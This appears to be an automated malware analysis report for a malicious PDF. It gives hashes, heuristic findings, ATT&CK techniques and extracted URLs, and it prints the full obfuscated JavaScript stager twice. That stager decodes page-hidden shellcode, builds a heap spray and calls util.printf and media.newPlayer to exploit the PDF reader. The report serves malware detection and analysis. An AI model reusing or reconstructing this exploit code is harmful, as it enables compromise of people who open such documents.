Malicious PDF — malware analysis report

Static analysis result for SHA-256 0c3f68733102e83e…

MALICIOUS

PDF

1.24 MB Created: 2010-07-28 17:28:27 Authoring application: Scribus 1.3.3.14 (via Scribus PDF Library 1.3.3.14) First seen: 2026-05-11
MD5: b297e51dbb74bf07328f3fdc3b2cb7ed SHA-1: b8a8c93b7d83a419eb52ca3d875da7d6b464d60b SHA-256: 0c3f68733102e83ec84654355ceb39ba7bb28c7e8bb10e1b52783ba5fb7d385c
198 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, indicated by multiple PDF_JAVASCRIPT and PDF_JS heuristics, including a critical PDF_JS_EXPLOIT_CLUSTER finding. The JavaScript appears to be a stager that decodes and executes further code, likely to download a secondary payload. The ML classifier strongly suggests maliciousness. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9991

Heuristics 6

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    stream
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('W z(13,Z,Y){7 i=(13+\'\').19(Z,(Y||0));11 i==-1?18:i}W J(s){7 H="";7 17="";7 A=\'1a\';C(7 i=0;i<s.B;i+=6){y(s[i]=="%"&&s[i+1]=="u"){7 a=(z(A,s[i+3].F(),0))+(z(A,s[i+2].F( …
endstream
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comMonotype In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlhttp://www.monotype.com/html/type/license.htmlIn PDF document text
    • https://www.verisign.com/rpaIn PDF document text
    • http://ocsp.verisign.com/ocsp/status0In PDF document text
    • https://www.verisign.com/rpa0In PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0055_001.js pdf-javascript-stream PDF /JS object 55 at offset 0x13DBAE 1841 bytes
SHA-256: 64305815244ba0fbe4747f666ce40b89e13118ba2cf5ba2f71a7115d79199588
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('W z(13,Z,Y){7 i=(13+\'\').19(Z,(Y||0));11 i==-1?18:i}W J(s){7 H="";7 17="";7 A=\'1a\';C(7 i=0;i<s.B;i+=6){y(s[i]=="%"&&s[i+1]=="u"){7 a=(z(A,s[i+3].F(),0))+(z(A,s[i+2].F(),0)<<4);7 b=(z(A,s[i+5].F(),0))+(z(A,s[i+4].F(),0)<<4);H+=n.p(a*1b+b)}}11 H}W 1d(){7 V,T;7 f=\'\';C(7 i=0;i<E.1c;i++){T=E.1e(i);C(7 j=0;j<T;j++){V=E.14(i,j);f=f+V.16()}}f=f+\' \';7 k=1;7 b=0;7 K=\'\';7 m=\'\';7 o=\'\';7 U=\'\';7 8=0;1i(8<(f.B-1)){8+=k;y(!b){b=1;y(8<f.B){m=m+f[8]+f[8+1];8+=2}X{m=m+f[8];8+=1}}X{b=0;y(8<f.B){o=o+f[8]+f[8+1];8+=2}X{o=o+f[8];8+=1}U=\'%u\'+o+m;m=\'\';o=\'\';K+=U}k++;y(k>3)k=1}7 G=J(K);7 w=J(\'%1g%1f\');C(i=0;i<15;){w+=w;i++}w=w.1j(0,1k-G.B);12=D 1h();C(i=0;i<1n;){12[i]=w+G;i++}L[n.p(S,R,N,M,O,P)](n.p(9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,v,Q,v,9,c,d,9,c,d,g),D I());L[n.p(S,R,N,M,O,P)](n.p(9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,v,Q,v,9,c,d,9,c,d,g),D I());1l{7 10=E.1m;10[\'D\'+\'1q\'](1p)}1o(e){}L[n.p(S,R,N,M,O,P)](n.p(9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,v,Q,v,9,c,d,9,c,d,g),D I())}',62,89,'|||||||var|pos|49|||46|51||text|52|54||||53|shell_1|String|shell_2|fromCharCode|48|55||57||32|yR|56|if|os|arr|length|for|new|this|toUpperCase|Wo|ot|Date|educ|shell|util|110|105|116|100|58|114|112|numWords|u_shell|ckWord|function|else|offset|needle|obj|return|memory|haystack|getPageNthWord||toString|nz|false|indexOf|0123456789ABCDEF|256|numPages|New_Script|getPageNumWords|u27f5|u3727|Array|while|substring|32768|try|media|0x2000|catch|null|Player'.split('|'),0,{}));
javascript_obj0055_002.js pdf-javascript-stream PDF /JS object 55 at offset 0x13DBD1 3334 bytes
SHA-256: 5e5b763c5ea8bd5f11a226c8acf137b482363932b048a9a2bd68f7e0d6af2f31
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('W z(13,Z,Y){7 i=(13+\'\').19(Z,(Y||0));11 i==-1?18:i}W J(s){7 H="";7 17="";7 A=\'1a\';C(7 i=0;i<s.B;i+=6){y(s[i]=="%"&&s[i+1]=="u"){7 a=(z(A,s[i+3].F(),0))+(z(A,s[i+2].F(),0)<<4);7 b=(z(A,s[i+5].F(),0))+(z(A,s[i+4].F(),0)<<4);H+=n.p(a*1b+b)}}11 H}W 1d(){7 V,T;7 f=\'\';C(7 i=0;i<E.1c;i++){T=E.1e(i);C(7 j=0;j<T;j++){V=E.14(i,j);f=f+V.16()}}f=f+\' \';7 k=1;7 b=0;7 K=\'\';7 m=\'\';7 o=\'\';7 U=\'\';7 8=0;1i(8<(f.B-1)){8+=k;y(!b){b=1;y(8<f.B){m=m+f[8]+f[8+1];8+=2}X{m=m+f[8];8+=1}}X{b=0;y(8<f.B){o=o+f[8]+f[8+1];8+=2}X{o=o+f[8];8+=1}U=\'%u\'+o+m;m=\'\';o=\'\';K+=U}k++;y(k>3)k=1}7 G=J(K);7 w=J(\'%1g%1f\');C(i=0;i<15;){w+=w;i++}w=w.1j(0,1k-G.B);12=D 1h();C(i=0;i<1n;){12[i]=w+G;i++}L[n.p(S,R,N,M,O,P)](n.p(9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,v,Q,v,9,c,d,9,c,d,g),D I());L[n.p(S,R,N,M,O,P)](n.p(9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,v,Q,v,9,c,d,9,c,d,g),D I());1l{7 10=E.1m;10[\'D\'+\'1q\'](1p)}1o(e){}L[n.p(S,R,N,M,O,P)](n.p(9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,r,x,t,q,9,c,d,g,l,h,v,Q,v,9,c,d,9,c,d,g),D I())}',62,89,'|||||||var|pos|49|||46|51||text|52|54||||53|shell_1|String|shell_2|fromCharCode|48|55||57||32|yR|56|if|os|arr|length|for|new|this|toUpperCase|Wo|ot|Date|educ|shell|util|110|105|116|100|58|114|112|numWords|u_shell|ckWord|function|else|offset|needle|obj|return|memory|haystack|getPageNthWord||toString|nz|false|indexOf|0123456789ABCDEF|256|numPages|New_Script|getPageNumWords|u27f5|u3727|Array|while|substring|32768|try|media|0x2000|catch|null|Player'.split('|'),0,{}));
endstream
endobj
56 0 obj
<< /S /JavaScript /JS 55 0 R >>
endobj
57 0 obj
<< /Names [ (New_Script) 56 0 R ] >>
endobj
7 0 obj
<< /JavaScript 57 0 R >>
endobj
8 0 obj
[]
endobj
xref
0 58
0000000000 65535 f 
0000000015 00000 n 
0000000266 00000 n 
0001301237 00000 n 
0001301283 00000 n 
0001301367 00000 n 
0001301388 00000 n 
0001303417 00000 n 
0001303457 00000 n 
0000000467 00000 n 
0000001848 00000 n 
0000411199 00000 n 
0000411422 00000 n 
0000412403 00000 n 
0000414242 00000 n 
0000417312 00000 n 
0000417507 00000 n 
0000418497 00000 n 
0000420636 00000 n 
0000423742 00000 n 
0000423937 00000 n 
0000424927 00000 n 
0000427257 00000 n 
0000430375 00000 n 
0000430570 00000 n 
0000431409 00000 n 
0000433138 00000 n 
0000435390 00000 n 
0000435585 00000 n 
0000436377 00000 n 
0000437824 00000 n 
0000439728 00000 n 
0000439923 00000 n 
0000440749 00000 n 
0000443111 00000 n 
0000445771 00000 n 
0000445966 00000 n 
0000446744 00000 n 
0000448072 00000 n 
0000449904 00000 n 
0000450099 00000 n 
0000450456 00000 n 
0000451125 00000 n 
0000452259 00000 n 
0000452454 00000 n 
0000453370 00000 n 
0000454829 00000 n 
0000961731 00000 n 
0000962195 00000 n 
0000962249 00000 n 
0000962409 00000 n 
0000962560 00000 n 
0001300754 00000 n 
0001300808 00000 n 
0001300987 00000 n 
0001301422 00000 n 
0001303316 00000 n 
0001303364 00000 n 
trailer
<<
/Size 58
/Root 1 0 R
/Info 2 0 R
/ID [<7BB539A61E86FDE89B2701E4E1047E3A><7BB539A61E86FDE89B2701E4E1047E3A>]
>>
startxref
1303475
%%EOF
font_00_sfnt_off0000076d.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x76D 409280 bytes
SHA-256: fcb479a00bdf7c05a68b91ba89a8ea3dd2be027dcca112f1f26270c081dc3502

Open this report in the interactive analyzer, or submit your own file for analysis.